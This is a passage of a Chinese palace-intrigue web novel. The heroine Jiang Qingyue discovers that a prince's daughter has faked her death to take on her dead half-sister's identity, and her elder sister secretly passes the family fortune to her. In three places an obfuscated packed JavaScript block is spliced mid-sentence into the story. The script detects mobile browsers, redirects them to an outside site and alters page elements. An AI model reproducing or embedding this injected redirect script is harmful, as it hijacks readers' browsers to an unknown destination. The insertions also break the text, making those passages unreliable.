江清月冷笑一声,“说的好像我们还承了他的恩似的。” “郡王爷说,如若你允了,就这套宅子将送于你,你府上的下人,照例由郡王府发放月钱,每月再送八十贯来,由姑娘全权支配。” “话都说到这份上了,我岂有拒绝的资格?”江清月看着王嬷嬷,说道:“不过,在我应允之前,你要如实告诉我,郡王妃现在身体如何了?是否还在夜夜神伤?” “郡王妃痛失嫡女,一时半会难以自已,人消瘦了不少,不过有大郎媳妇日日在她身边,换着花样地讨她开心,总算是能吃下饭、睡着觉了。” “李钦语当真有这么好心?算了,与我再没有什么关系了。” “江姑娘,虽不在一起了,彼此是一家人,仍是记挂着对方的,要念对方的好才是。” 兰姑看出江清月脸色不对,连忙送客道:“王嬷嬷,我们初来乍到,尚有许多事未做,就不留您吃饭了。” 王嬷嬷语塞,只能尴尬笑笑,便离开了小院。 兰姑合上后门,心事重重,“姑娘,郡王府的态度,为何几日内差别如此大?” “想必是李善俪又吹了什么枕边风,让那位耳根子软的郡王爷有了新主意,只愿他们做的不是什么伤天害理之事。” 阿康匆匆赶来,带来郡王府的消息,“姑娘,姑娘,我听说康县郡王府上,今儿个换了一大批下人,说是什么,八字、生肖犯冲的,都打发了去,招了一批新人进府。” “郡王府从前也做过这事儿。”兰姑想起十年前,“当时姑娘刚入府,因何事来着?我也是那会儿才进的府上。” “我么?我是因为父母双亡,阿姊将我带回郡王府,我记得淇姐儿和李善俪也是那会儿进的府。” “三姑娘是那时进的府?可人人都说三姑娘同四姑娘是双生子。” “那是郡王爷为了掩盖外室丑闻的说法。”江清月凝眉道,“我以为这事人尽皆知,兰姑,难道府上人都这样认为么?” “因为三姑娘同她奶妈李善俪亲近,我私下也有些怀疑,可府上口风管得严,无人议论,就算心中不解,也不曾同其他人提起,久而久之自然就相信双生子的说法。” “十年前府上换人若是为了朱淇母女名正言顺入府,那如今又是什么原由?阿康,你可有相熟的人进入郡王府。” “还真有一人,是我的发小,姑娘要我去打听打听么?” “若他靠得住,那便去问问,阿姊还在府中,我担心郡王爷薄情寡义,做出不义之举。” 江清月看着窗外。 原本晴朗的天空不知为何,已然乌云密布。 12. 疑团 天气渐凉,秋风萧瑟,自江清月独自在外居住后,许多曾不用操心的事便需要她亲力亲为,免不了在外抛头露面,经历的事多了,便有了更多的感受。 可出于前世的习惯,她总是不能心安理得地被服侍,常常要靠钱财的支出,来平衡内心的不配得感: 无论是院内的丫鬟,还是路上送米送盐的马夫,都能在江清月这里得到与辛劳程度并不匹配的报酬。 久而久之,人们把这样的优待当作理所当然,事却做得更懒散了。 “姑娘,一钱足够了。”兰姑按下江清月掏向内兜的手,摇了摇头。 “多的就当是跑路费,街边喝杯热茶,暖暖身子。” “姑娘,我知道你为人大方,同下人们亲近,亦不缺这些银两,但既然掌了家,便应公私分明,否则会叫别人模糊了界限,懈怠了该做的事。” “兰姑,我听您话里有话,可否说的仔细些?” “这些话原本不该由我来说,可念在姑娘年纪轻轻便离了家,我也厚着脸皮,把这些道理说上一说,若姑娘觉得有理,便听了去,若觉得我老糊涂说瞎话,也别嫌我啰嗦。” “兰姑,我一直敬您是长辈,做事得体,您且说,我绝不嫌。” “先前南下的时候,我就注意到姑娘出手大方,常人给的,姑娘必翻一番不止。不仅是劳务委托,做人情时亦是如此,我女婿绸缎庄户一年净收一百两左右,在当地已算是充裕家庭,姑娘庆生贺便给去五十两,顶他们半年劳动收入。” “我是念在您的情分上,觉着只捎去一封信实在唐突,于是到了广州府才连忙补上贺金。” “主人家同家仆再亲近,二者之间也有界限,吩咐事情时总归是要正经、严肃些,而不是哄着去做事。若是不分、不辨,上下不分,混作一团,给人留下不顾家的印象,只怕有心之人刻意接近,投机取巧讨您的赏。” “在郡王府寄人篱下十余年,就算阿姊待我再好,总归是要瞧人脸色过活,能自己动手的,绝不开口请他人帮忙。直到现在,一想到要麻烦他人,还是总觉得亏欠了谁似的,便在能承受的范围内多给了些,总觉得都是小钱不碍事,只要能办好事即可,没想太多。” “这哪里是麻烦呢?丫鬟领了月钱,照顾主子是应该的;马夫收取佣金,就应当把人安稳带到目的地。有多少功劳,便得多少禄,于所有人而言都是公平的。” 江清月点了点头,“兰姑,我知道了,今后会多加注意的。” “姑娘,您得树立自己的威严,有挑选的、适当地打赏,或许更能激励下人把事做好,否则就算把家底搬空了,该走的还是会走。” 江清月笑了笑,“那只能算我识人不慧,自甘倒霉。” “姑娘,姑娘!” 一阵急促的脚步声传来,阿康风尘仆仆地跑进堂内。 “上次打听的消息,终于来信了。” “怎么说?” “说是淇姑娘病了,郡王爷请了大师来看,算了八字、生辰什么的,打发走好些人。” “郡王府又不兴这个。”江清月凝眉道,“那其他人呢?郡王妃呢?” “没了,说是府上口风紧的很,有人盯着,不准外传。” 江清月深吸一口,看着兰姑,不解地说道:“可单是三姑娘生病,何至于如此大动干戈?” “谁知道呢,搞得神神秘秘的。” “能不能想办法让你那人替我带个口信给阿姊,就说我秋冬季犯了鼻炎,从前喝她调配的药汤有缓解,不知能不能再给我拿些。” 兰姑在一旁接话道:“姑娘,上次带去广州府的还有一些,我粗略看下,应是能备个八九不离十的。” “兰姑,我并非真心要阿姊帮我备着,只是想借此机会看看她的态度,不知是否还怨恨着我。” “哎,这事最不该迁怒的就是姑娘您了,若能同郡王妃当面说通就好了。” “斯人已逝,我现在只希望阿姊能身体安康,即使此生不复相见,也无妨的。” 寒风袭来的几个夜晚,树叶不知在某一刻吹落,只剩下光秃秃的枝桠,站在地面朝上望去,像是天空的脉络。 辽东的秋天是短暂的,仿佛忽然下了几场雨便冷了起来,晨起时的路面结上冰霜,顽皮的孩童自那过时免不了滑倒。 如此,又是一年冬季。 每到湖面结冰时,康县郡王府有一项保留的项目,那便是差人从洛泽湖中打捞些冰块,用马车拉上,存放于山间的一处朝向西南、延伸三十丈的洞穴中,夏日来临时,那些冰块仍呈现完整形态,便会被抬出来,或是调成冰浆、冰酪,或是作降暑降温用。 可今年郡王府在洛泽湖结冰后好几周内都无动静,想是因为江氏身体不好,三姑娘又生了病,府中人员调动太多,许多事便耽搁了,一直到快要开春时,康县郡王才下令开采,匆匆装了半个山洞的冰块。 珠儿坐在门口煮茶,看着天空飘起的小雪,感叹道:“不知道今年,郡王爷是否会给我们留几块冰。” 灵玲耸了耸肩,往火炉的铁丝网上撒了把花生,“几块冰?我看郡王爷连冰渣子都不会给我们。” “我不是说留几块,我是说能否……” 江清月裹着毛袄靠在门框,用手接着天空中飘落的雪花,“都自立门户快半年了,还事事都等着郡王府赏赐么?” 珠儿叹了口气,“那不是因为那边吊着咱们,该给姑娘的都没给么。” “当年江家有难,阿姊保下了家中大部分财产,这些年亦是她在悉心打理,若真是交给我,我做的未必有她一半的好。” 灵玲摇了摇头,“就怕这么些年过去,郡王爷早已觉得那些是他府上的家产了。” 江清月低着头,她心中亦有顾虑。 可连着好几个月托人带口信,江氏向来是不予回应,十个请求里或许能满足一个,就算江清月有心打听,也呼吁无门。 “那我们就这样等下去吗?”灵玲看了眼珠儿,“现在月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15047620|162757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月等着郡王府的拨款,仿佛还是寄人篱下。” “至少不用看人眼色,多少自由些。” 远处,兰姑踏着小碎步匆匆走来,她面色有些苍白,珠儿赶忙递上一杯暖茶,她却摆了摆手,缓了口气,说道:“姑娘,上郡王府跟前瞧一眼去吧。” 江清月从未见过兰姑如此慌张,一边朝外走,一边问道:“出什么事了?” “郡王府一早门前挂了白灯笼,问是谁人,门口的侍卫不肯说。” 江清月的心怦怦直跳,来不及换衣裳,披着毛袄子便往外走。 珠儿见状,连忙撑伞在其后走着,生怕江清月心急又淋了雪,身子扛不住,便拢了拢她的大衣,跟在身边。 一路上,马车内气氛如同凝固了般,无人说起一句话。 江清月不禁回忆起近期的种种事情,疑心江氏早就病倒了,所以才从未给她回应。 她在心中默默祈祷着,向她所知道的所有守护神起誓——若阿姊平安,今后她定多行善事,行济天下。 马车刚到府门前,江清月便迫不及待地下了马车,却被门口并不认识她们的侍卫拦下。 “这里是康显郡王府,你们是何人?” “这位是江姑娘,郡王妃的嫡妹,听闻郡王府有丧,前来悼念。” “没听说过郡王妃有亲戚,再说,我们家郡王爷说这场丧事不对外,无需前来吊唁。” “江姑娘自小在郡王府长大,同府里人情谊深厚,于情于理都应入府,若你拿不准,尽管去请示吴管家,屋外天寒地冻,若是冻坏了我们家姑娘,你如何担得起责?” “话就是吴管家吩咐的,说是一致不许外人入内。” “你……” 争执间,朱泓闻声赶来。 “清月……姨母。”他看了眼侍卫,厉声道:“这是郡王府的贵客,还不快请进来。” 江清月走在他的身旁,低声问道:“府中谁人去世了?” 朱泓深呼吸一口后说道:“三妹妹。” 江清月愣住了,甚至忘了走,“淇姐打小可是泥里滚着长大的,怎么可能如此突然。” 朱泓摇了摇头,似有难言之隐,话到嘴边又咽了下去。 “一连失去两个女儿,郡王爷心里怕也不好受吧。” 朱泓摇了摇头,随后说道:“对了,听闻你独自居住在外,生活上可有困难之处?好几次我想登门拜访,可母亲说你既已脱离郡王府独居,便同我有了身份的隔阂,若贸然打扰会传出些流言蜚语,影响到你,所以我才一直没去。” “二郎,我明白的。”江清月顿了顿,“郡王妃,她身体还好吗?” “自从四妹妹……以及你的离开后,母亲便消瘦了不少,常待在房间内,并不出来走动。”朱泓将她带至岔路口,说道,“灵堂那边,有父亲和大哥一家守着,棺木已闭,即使去了也见不着什么。母亲在房间里,你去找她说说话吧。” 江清月点了点头,径直朝东厢房走去。 13. 转折 屋内炭火烧的噼里啪啦响,丫鬟们围在一旁打盹,江清月走进去时,江氏正坐在床榻上绣花。 “月儿,月亮都圆了几回,怎么才来。” 江清月忍不住抽泣起来,她浑身发抖,捂着眼,跪倒在江氏面前。种种委屈、烦闷与痛苦都化为泪水,止不住地流。 “阿姊怨我,不肯我来。” “我怎么会怨你,这些年来,我待你如同我自己的孩子般,眼下潼儿已不在,世上便只有你我二人。” 江氏轻轻拉起江清月的手,发丝拂过她的面庞,“郡王爷说你想自己在外过日子了,我本应该去你府上坐坐的,但最近腿脚无力,连房门都不乐意出,只好让洪嬷嬷打点些东西,托人给你带去。” 江清月看了看一旁的兰姑,兰姑亦是诧异,原是府中有人作梗,隐瞒了消息,刻意不让她俩相见。 “阿姊,府中的事务、家产,如今还是你在打理吗?” “呕心沥血二十年,到如今才看透,原是担雪填井,劳而无功。”江氏苦笑道,“何况现在就算想管,也没那个心力了。” 江清月看着周围人,郡王妃的丫鬟几乎都换了一轮,全是些生面孔,她摆手让她们离远些,才好跟江氏说些心里话。 “我担心康显郡王让我搬离,又让李氏接手家中财务,是为了将咱们江家的那些家产牢牢捏在他们手上,阿姊,你在府中可要多留意自己,别太信那些个下人。” 江氏冷笑一声,“从前生怕我撒手不管,我身子不利索了,又巴巴地从我手里夺走,真是讽刺。” “钱财上吃点亏都不要紧,就怕……既谋财又害命。”江清月担忧地拉起江氏的手,“阿姊,你同我离去吧,我那院子虽不如郡王府这般奢侈,但好歹能住的安心。” “若当真要我这条老命,那就给他们,我没什么好怕的。月儿,既然今日得了这个机会,我便和你交代些事。” “阿姊,何事?” “十一年前,父母去世时留下的家产,这些人年我都仔细替你保管着,契约文书、官署备案一应俱全。潼姐出事后,我便将其陆陆续续转了出去,交给了可信之人托管,并请了中人来见证,将来你愿意自己打理也好,不愿操心也罢,至少能保证你后半生衣食无忧。” “可这么大的事情,郡王爷他们竟然没有察觉吗?” “我在府中二十年,有些事自然有我的门路。这些年郡王府吃穿用度,我从未动用过你的那份,全花的是我的嫁妆,他们向来不闻不问,只管伸手要钱,哪能知道总共有多少商铺、田契和财宝?” “大郎媳妇在接手的时候,也没察觉出异样吗?” “李钦语这孩子,到底曾经是小门小户,不懂行情,一点点家底都能把她恫吓住,我给她的那些东西,尚且能让她喝一壶的了。” 江清月在面对如此一笔“横财”的情况下,心里并未有预想的惊喜,她看着江氏,总觉得对方似乎有意在交代后事。 东厢房门外,神色凝重的丫鬟带着几个家丁推开门走了进来,拱手道:“江二姑娘,郡王爷有请。” 江氏无奈叹了口气,“平日不关心,这时候比谁都盯的紧。” 江清月环顾四周,肃目厉声道:“郡王爷有请,我自然不敢怠慢。可一码归一码,我来郡王妃住处本为随心,事先并无人知晓,究竟是何人私下总爱通风报信,这么快就这里的动向一字不落讲与他人?” 那几个下人互相看了看彼此,低着头不敢言语。 带头的大丫鬟见状解释道:“江二姑娘是外人,在府上去了哪儿,做了何事,我们都理应相互报备,告知主人家,若有冒犯,还请见谅。” “郡王府真是花心思了,找了这么群能说会道的人。”江清月冷笑一声,“告诉郡王爷,我即刻就来,如此你们便可退下了?” 那些人并未有恭请的意思,显然不希望两人继续交谈,带着几名家丁闯入后院闺阁便已有此意。 江清月还想多说几句,却被江氏拦了下来,她摇摇头,说道:“想来是有什么事,你去看看吧。” “可是……” 江清月本想说郡王爷的态度显然不把她们两姊妹放在眼里,根本没有请人的态度,完全就是逼着人分开,但又想到阿姊原本就是息事宁人性格,又不得不继续在府上生活,硬要说些伤人的话,她心里并不好受。 “阿姊,我这就去见郡王爷,你说的那些事我都记着了,多保重身体。” 江氏点了点头,站在门口送行。 灵堂外站着郡王爷、李善俪和大郎夫妻俩,此刻瞧上去,她们倒像是和和睦睦一家人似的。 江清月遥遥地看着屋内的棺木,又看向这几人的神情,虽眼下都不同程度地哭啼着,面容却未有憔悴之意,连三姑娘的生母——李善俪亦是如此。 “郡王爷,听说您找我。” “咱们来了府上,都不和我说一声便到处跑,成何体统。” “在府上生活了十余年,一时身份转变,还未适应。” “罢了罢了。”郡王爷看了眼屋内,“你是来悼念三丫头的吧?” 江清月看着满堂的白花,心中酸涩不已。这些年虽不待见朱淇,但也只是拌拌嘴、斗斗气,不至于咒到对方死才可的程度。念着二人从前的过往,江清月不禁红了眼眶。 李善俪等人有些紧张她的出现,时刻注意着江清月的一举一动,似乎下一秒就会伸手阻止她干什么事似的。 若非她们的异样,江清月还沉浸在悲伤中,难以发现其中的异样,她定眼看着棺木,回想起一些事。 先前她为朱潼准备后事时多有了解,棺木从材质、颜色、雕刻和装饰方面亦有差异,按照郡王爷和李善俪对朱淇的重视程度,三姑娘就算用玉片镶嵌的金丝楠木作棺都不为过,眼下却只是口柳木棺,简单彩绘过后便合上,根本不像是郡王府的做派。 朱淇的牌位倒是较棺木更为用心,却意外地采用了红色字体。虽有的地方习俗,会为新去世之人用红色字书写,过段时间再改用其他颜色。 可还有种说法,若是为未去世之人作“长生牌位”,为祈求在世之人幸福长寿。 江清月拿不住是哪种情况,她试探问道:“三姑娘原先身体健康,究竟是何原因?” 郡王爷叹了口气,“老天爷要来收人,我有何种办法?” “四姑娘离世,郡王爷怕十里八街影响不好,不肯为她做法事,可三姑娘又没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15053772|162757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这样的顾虑,郡王爷还是不愿声张,连我都是路过此地才知晓此事,难道你们,是在担忧什么吗?” “你……” 李善俪在一旁接话道:“淇姐儿是被我连累的,害她这些年名声不太好,出门在外总免不了被人非议。算是念在她走前的遗愿,只有我们几个身边人陪她走完最后一程,安安静静地,再也没有人会说些什么。” “可我怎么觉得,三姑娘并不是这样的人呢?” 郡王爷眉毛胡子一把抓,怒道:“人都没了,你还想说什么?难道要事事都顺你的意愿不成?” 江清月拿不准,一想到郡王府种种异样,心里不禁起疑。 她手指轻轻搭上棺木,抚摸着其上的花纹为线雕还是刻雕,一旁的李善俪却连忙拉起她的手,嘴里念着“不吉利”。 “都是自家人,还怕亲人会对我不利么?” 江清月收手,站起身后退几步,假意要离开,又蓄力猛地冲回去,一把推开棺木。 周围的侍卫很快就上前拉开了她,实际上棺木太过沉重,她根本推推开多少,自然并没看见棺内的东西。 但见众人惊吓、担忧而非生气的面容,她心里多少有了数。 “这里面根本不是三姑娘,你们为何这样做?” 李善俪慌了神,口不择言,说道:“三姑娘的肉身送去寺庙超度了,里面仅有些衣裳,等法事结束自然会送回来。” “一会儿说不愿声张,一会儿又说送去超度。”江清月步步紧逼,“实际上三姑娘还活着,对吗?” “胡说,谁会拿这种情况开玩笑。来人,把江二姑娘带去堂屋休息,她忧思过度,得了癔症。” “那你敢说是哪家寺庙,诊断三姑娘疾病的大夫又在何处吗?堂堂郡王府连这种事情都敢胡乱编造,真不怕传出去叫人耻笑么?” “怎么会是胡编乱造,话可不能这样说呀江二姑娘。” “行了,行了!”郡王爷一屁股坐在棺木上,抱着胳膊不耐烦地喝止了两人,“你就告诉她实情。” “郡王爷,可是……”李善俪挥手将其他人赶了出去,低声道,“万一她不小心说漏嘴。” “你瞒的住她吗?她都看见了。” 李善俪极不情愿地走到江清月跟前,解释道:“上月十五日上崇恩寺祈福时,那里的一位得道高僧叮嘱说,郡王爷的女儿命里有煞,活不到一十八岁,当时外人并不知四姑娘的事,便理所当然地以为是……” “可没过多久,淇姐就生了病,我放心不下便再去找到那位高僧询问,结果人家说的是三姑娘活不到一十八。”李善俪哭哭啼啼起来,“郡王爷便去问,可有什么法子化解,高僧说若是假死、易名,或许能有变数。” “四姑娘才去世,郡王爷心中伤痛不已,若淇姐再有事,只怕是……江二姑娘,你或许不知,可为人父母,哪怕赴汤蹈火,愿为孩子做一切事情。” 李善俪的神情太认真,以至于江清月并未察觉她竟然在假装。 “那淇姐现在还好吗?不对,她现在应该改名了吧。” “嗯嗯,大师给算的,改成了‘朱彤’,不是四姑娘的潼,是‘彤云’的‘彤’。” “朱彤?” 14. 真相 江清月嗤笑两声,气的急了,火气涌上心头,连头发似乎都比刚才凌乱不少。 若先前还念在郡王府有养育之恩,多少压抑了脾性,许多事没说破的,也睁一只眼闭一只眼过去了。现在得知他们这些人竟打着这等主意,既愤怒,又替死去的四姑娘感到恶心,两步上前,质问道:“装都不装了?” “不是的,江二姑娘。有言是‘日出东方隈、彤霞映碧海’,大师的意思是三姑娘命寒,缺把明火,取这个字刚刚好。就算,就算同四姑娘的音撞了,大师说原本就是骨肉至亲,也不相冲。” “字里带火的名字那么多,你们偏偏取个彤字,又搞了这一出假死的戏码……看来早在赶我出府的时候就计算好了,原来是要干这损招啊。” 郡王爷拍棺而起,大声道:“别瞎囔囔了,本就是你做事不利,我想赶便赶,还需要想什么招?这是我们朱家的家事,是我的女儿,跟你不相干。” 江清月本想继续同他们理论一番,但转念一想,即使争个高低又如何?朱潼已经回不来了,康想郡王府若出事,还会白白伤害到无辜的阿姊,恐怕此时此刻,她还不晓得李善俪谋划的这一切,否则不会那般平静地待在厢房内,半点未谈及诸如此类的事。 “郡王爷,静下心想想,你们如此铤而走险,也不过是为了给三丫头挣个好名声,将来封了县主,能风风光光地嫁出康显郡王府。虽然我江清月同你朱家毫无关系,但一损俱损的道理我岂能不知?你们倒是得益了,兹事体大,如何确保我自身的安稳呢?” 郡王爷觉得自家养出个白眼狼,江氏算计的是家事,江清月算计的是她的利益,越想越气愤,面红耳赤争道:“你以为你是谁,你还敢跟我谈条件?” “只要郡王爷给我一个保证,我也给您一个保证——今日之事我绝不外传,就算将来旁人问起,也绝不说对康显郡王府不利的话。” “呸,我不需要你说好话。” 李善俪拉了拉郡王爷的衣袖,对江清月试探问道:“你怎么保证?” “这种事情若是落在纸上,将有一日,或是保管不善,或是有人起了异心,告知外人,想必大家都心里难安。” 她二话不说,以迅雷不及掩耳之式拿起祭祀台上的剪子,从柳木棺上翘下一小块彩绘,举起来,说道:“这棺木,反正也是口空棺,埋下去后说不定再无人会在意。我带走一小片,就当作我们之间的信物。” 江清月又从身上摘下一只玉扳指,展示一番后,放在棺木上。 “玉扳指上有江家的标志,本身没有什么实权,但若放进棺木里一同下葬,至少能证明我们曾沆瀣一气,今后,便是一条船上的蚂蚱,即使是为了江家的名声,我也不会多说什么。” 李善俪警惕地拿起来瞧了又瞧,几番打量,迟迟不下决心。 “行了行了。”郡王爷摆了摆手,“江氏还在这呢,身子骨那么虚弱,连风吹都会受惊吓,她江清月为了她姐的安稳,还能翻什么天不成?” “可是郡王妃她,将来若是不在了……” “那不是也有这玉、玉扳指在,江家和我利益绑定如此紧密,她江清月也不蠢笨,想来不会自断前程,冒着牢狱之灾,就非要讨个什么,什么结果出来吧?” 李善俪看了看江清月,虽心中有不甘,但面对郡王爷不耐烦的态度又无可奈何,不便再说什么,绕到江清月身前,颤抖地拉起她的手,就差给她跪在地上了。 “江二姑娘,就算我们做些什么事情,那也是为了子女,并不为自己。就算江氏,郡王妃,她想为你谋取些东西,只要不过分,我定然是豁出命去支持的。” 江清月轻轻甩开李善俪的手,淡淡道:“我不求什么,只希望郡王爷日后能让我同郡王妃常见面,就别无他愿。” 郡王爷眼皮都没抬一下,挥了挥手,说道:“知道了,去吧。” 望着江清月离开的背影,李善俪仍不心安,思来想去,忍不住说道:“郡王爷,当真信的过江二姑娘吗?” “难道这事情做的还不够大吗?里里外外都在传,我们府上究竟发生了何事,就算我想一个个去计较,也没心力了。” “正是我们为此耗费了不少精力,才更应确保她江清月不会出岔子,妾身看来,不如……” “我们做的已经够多了。”他抬眼,一副叹息的模样,“潼丫头没了,我如今就只剩下这一个女儿,原是不希望淇丫头继续受人非议,便大换了府上的下人,做实她嫡女的身份。是你说既然如此,不如让淇儿顶了潼丫头,得个县主之位,更名正言顺,我们才如此铤而走险。全然忘记了,当初一开始,你跟我要的,可只是饱食暖衣啊。” “郡王爷这是,在责怪妾身么。” “将你们从兖州接过来的时候,这日子注定就不好过,还不是照样过来了?要我说,你就宽宽心,别揪得那么紧了,外人见你那张脸都得吓死了。” “这不是诚惶诚恐地担心着郡王爷您的名声么。” “好了好了,别说了。”郡王爷打断了李善俪,“过段时间,你和淇丫头就搬回兖州老家,避一些时日再说吧。” “兖州?郡王爷这是要抛下我们母女么?” “谁说要抛弃了?”郡王爷摊了摊手,说道:“在那边能找到人,好照顾你们娘俩,况且,我记得你们李家不就是兖州的么?” “不是兖州的,郡王爷贵人多忘事。”李善俪拉起郡王爷的手,摩挲道:“我娘家本是广州府的,后被发配去了兖州的一个小县,我在那街口担水煮面,日日勤勉,养活一家老小,后来遇到郡王爷,这才……” “想起来了,是有这事。”郡王爷叹了口气,“人活的够久,竟然都忘记了我们是怎么相识的,如今想来,也有一十六年了吧。” 李善俪本是落魄小姐被发配到苦寒之地,自然要依仗些手段,让那些别有用心的男人常来她铺面里照顾生意,又不敢做冒犯之事,得了个“清水面西施”的名头,却无人觉得她轻佻。 那年,康显郡王爷回兖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15060572|162757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 州悼念亡妻林氏,夜夜烦闷不得眠,天将亮未亮时,喝了些酒,迷迷糊糊走到西街口的汤面摊上,见李善俪有几分像故人,又爱听她带着些许口音的、洪亮的嗓音叫着“汤面——客官要几两?”竟觉得心里踏实,睡倒在人家的面铺上。 后来一连几日,他出手十分阔绰,在一众只爱占便宜不愿多花钱的汉子中格外显眼,两人便慢慢搭上了话。 至今也无人说透,那晚为何李善俪竟然并未拒绝,或许是需要一个跳板,带她离开那了无生机的地方,亦或许就是看对了眼,不由分说。 可事情若只是发展到这地步,康显郡王或许并不会对李善俪母女有如此的包容之心。 李善俪只保留着那夜故人遗落的一柄玉带钩,给这野丫头起个诨名叫“玉妞”,却因不知郡王爷真实身份,无法上门寻亲,仍从事着老本行。 六年间兖州发生不少事,李家人终于熬到平反,回地方当了小小芝麻官。但曾经养活他们一大家子的李善俪却因为不明不白带着一女,而被视作污点,留在了小县西街口。 或许命运注定二人还能再次相遇,六年后康显郡王突发奇想,回故地重游,终于再见到朦胧梦中那个清水面铺,却发现那里早已不如当年人气,变得冷清、荒凉。 他原可以不认那六岁女童,毕竟当年之事谁也说不准,可偏偏她就长了副注定会讨喜模样—— 她既不像自己的生母李善俪,同郡王爷也无几分相似,偏像当年林氏夭折的那个幼女,尤其是眉间的那颗痣。 又想到这对母女不声不吭,在这凄凉地受了多年委屈,心里便满是愧疚,便想在兖州好好安置她们,至少不再风餐露宿。 可消失的李家人得知“女婿”竟然是康显郡王后,又现了身,一番软磨硬泡,甚至是威逼利诱,终于使他改变了心意。 于是那年,郡王趁着江氏离府期间,他将这对母女秘密接回盖州卫,又大换府上下人,将私生女说成是郡王妃的双生子。 江氏原本也可以不接受这事,但她同郡王做了个交易——对方将兖州母女接回府上,那她也要把自己的嫡妹接来府上抚养,并要求府中人一视同仁。 这些年来,许多历史的细节已然模糊,他们彼此都不再谈起那段过往。 李善俪是明白人,知道以色侍人不能长久,过去那点情分不足以让她在府上站稳脚跟。 既然代替不了家郡王的初恋林氏,也取代不了自带丰厚嫁妆、能把家里打理的井井有条的江氏,于是转为攻心,做郡王爷的红颜知己、笼中金雀。有事相求时,联合淇姐一起煽动一番,自然也能达到目的。 “郡王爷,兖州人都说我是‘淫奔之女’,若是回去,我的尊严有辱倒是小事,就怕拂了您的面子。” “是我疏忽了,光想着那边有认识的人。”郡王爷从回忆中回过神来,“马上翻过新年,二郎将要去京都,你们便跟着一起去吧。” “全听郡王爷的。” 二人挽挽手,跨步离开了灵堂。 15. 谈判 时隔多年,康显郡王府又贴上蓝色的春联,名为“朱淇”守丧,实则是为“朱潼”。 江清月将事情的真相,层层铺垫后告知江氏,没有预想的那般歇斯底里,甚至不需要她平复什么心情,江氏只淡淡叹了口气,看着窗外白雪皑皑。 “昨日,一位白眉老人来我府上问事,我印象里并无这号人,也未听阿姊你提起,便差人说我不在府上,另请三日后再来。”江清月扶着下巴,思索道:“我同如此的长者能有何事相商呢?” 江氏似从迷糊中醒来,答到:“应是徐子如,徐老前辈,曾在我们江家做了几十年的管家,后来告老还乡,我费了不少功夫再请他出山。之前,我把你应得的那部分家产拜托于他,并约定于初八,他去你府上同你详谈。” 近来并非偶然性地、江清月发现江氏的神思总游离在理智之外。 “阿姊,今日已是初九。” “是么?我过糊涂了,那你见找徐管家没有呀?” “他昨日来我府上,被我以不在府中的名义送走了,后天我会在门口亲迎这位老者,或者是,阿姊若是知道徐管家住哪儿,我此刻便去。” “徐管事是很重要的人,尤其你将来要打理如此庞大的家产,身边需要一个可靠的人才是。”江氏看了看窗外的白雪,又想起什么似的,叮嘱道:“我们约定好,初八的时候他会去你府上,你还记得如何待客的吧?” 江清月咬着下嘴唇,心里有些担忧,语气不免着急了些:“阿姊,我都说了今日初九,徐管家不会来……你到底怎么了?” 江氏像个犯了错的孩子,瞟了瞟江清月,又低头揉起眼睛。 “人老了,记性不好。” “可最近你总是这样,明明刚才还在说的事,下一刻就忘记。” 她似乎想到了那个生离死别的雨夜,江清月语气颤巍,拉着江氏的胳膊缓缓坐下,伏倒在她的膝上,无声流着泪。 江氏抚着她的头发,问道:“月儿,你这是怎么了?” “没事。”她擦干泪痕,深吸了一口气,牵动嘴角扯出一抹笑,“我记性好,多记着就行。” 门外一阵银铃声响,渐渐朝东厢房这边走来,李钦语手中拿着一小瓷瓶,嘴里哼着愉快的歌。 “娘,我又给您带了些来!” 她进门看见江清月,下意识将东西藏了起来。 “姨母,也在这里呀。” 江清月点了点头,视线朝她背后探去。 “定胜糕。”李钦语换了只手,拿出一小块方巾包裹的糕点,“在我们家乡那边若逢人要考取功名,必然会做此糕点馈赠考生,愿其‘定然高中’,这不二弟就快启程去京都,我特意从娘家那边讨来做此糕点的法子,自己试着做了一回。” 她将定胜糕捧在江氏面前,“娘,我年轻,嘴巴没吃过什么滋味,不知道做出来的东西口味如何,又想着要先孝敬长辈,所以想着请娘,还有姨母先尝尝。” 江清月有些警惕,迟迟不肯接过,但江氏却认真欣赏起来,点评道:“颜色好看,形状如花瓣,也好看,倒像是那么回事。” 她刚想接起来放入嘴里,却被江清月制止了,又化作玩笑般说道:“钦语,你这东西做出来可自己尝过?别不知咸淡地给郡王妃吃了,害她倒胃口呢。” “姨母,入口的东西我自然是尝过,放心后才敢给娘送来的,您说的倒胃口什么的,钦语难不成还能在光天化日下,存害人之心么?” 李钦语见江清月说得认真,便掰下一半,塞到了自己嘴里。 江氏接过另一半,不假思索地品尝起来,“软糯香甜,可是糯米做的?” 